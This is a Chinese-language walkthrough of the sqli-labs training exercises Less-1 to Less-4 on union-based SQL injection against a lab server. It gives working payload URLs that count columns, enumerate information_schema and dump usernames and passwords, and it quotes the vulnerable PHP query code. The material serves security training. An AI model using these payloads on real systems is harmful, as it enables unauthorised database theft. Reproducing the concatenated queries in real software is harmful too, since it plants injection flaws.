sqli-labs Less1~4 union注入(有回显点)

it2024-07-10  47

1. Less-1 GET-Error based - Single quotes - String(GET单引号字符型注入)

#输入下列url访问,可以看到回显的用户名和密码 http://192.168.200.174/sqli-labs-master/Less-1/?id=1

#输入单引号后报错 http://192.168.200.174/sqli-labs-master/Less-1/?id=1'

说明存在sql字符型注入漏洞。

盲猜漏洞类型时可以在后面加and 1=1,and 1=2分别查看页面是否正常,前者正常,后者不正常,说明存在该类型注入漏洞,否则要修改id类型再进行测试。

http://192.168.200.174/sqli-labs-master/Less-1/?id=1' order by 3 --+ http://192.168.200.174/sqli-labs-master/Less-1/?id=1' order by 4 --+

–+注释,mysql中原来的注释为-- (–空格),但由于url中,如果在最后加上空格,浏览器发请求时会将末尾的空格舍去,所以用–+代替-- ,因为+在url中被编码后会变成空格。

猜解列数,3列正常,4列错误,即列数为3。 因为源码中有mysql_fetch_array()函数从结果集中取得一行作为关联数组,所以如果后接1’ union select 1,2,3 --+查询会始终取第一行数据。

只要SELECT * FROM users WHERE id=’$id’没有数据,页面就可以显示SELECT 1,2,3的结果。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

所以可以在union语句前加上恒假的and 1=2,或id置为不存在的-1即可发现回显点。 此时2,3可回显数据,说明可以利用该位置来进行注入查询。 查询到数据库名为security。

关于information_schema数据库

MySQL 中存储所有数据库名、所有表名、所有字段名的系统数据库叫 information_schema,这是在 MySQL 数据库初始化就存在的系统库。库里存储数据库名、表名、字段名的表分别为 schemata、tables、columns(原始表名为大写,但小写也能取到数据)。

表名关键字段schemataschema_name [数据库名]tablestable_schema [数据库名],table_name [表名]columnstable_schema [数据库名],table_name [表名],column_name [列名]

从information_schema数据库里查询表信息: http://192.168.200.174/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

从information_schema数据库中查出存在emails,referers,uagents,users四张表。 查询各表的字段信息: http://192.168.200.174/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

查询数据库版本、用户等信息: group_concat拼接获取全部用户名、密码信息 : http://192.168.200.174/sqli-labs-master/Less-1/?id=-1' union select 1,2, group_concat(username,':', password) from security.users --+

​​​​​​​

2. Less-2 GET-Error based - Intiger based (基于错误的整型注入)

部分源码:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

注入步骤类似Less-1,去掉1后的引号即可。 整型注入,id=2-1即id=1,显示的是id为1的数据;字符型注入,id=2-1,显示的是id为2的数据。

Less-3 GET - Error based - Single quotes with twist - String(基于错误的单引号变形字符型注入)

部分代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

需要用–+注释后面内容,后续部分类似Less-1。

Less-4 GET - Error based - Double quotes - String(基于错误的双引号字符型注入)

部分源码:

$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

其余步骤同Less-1。

最新回复(0)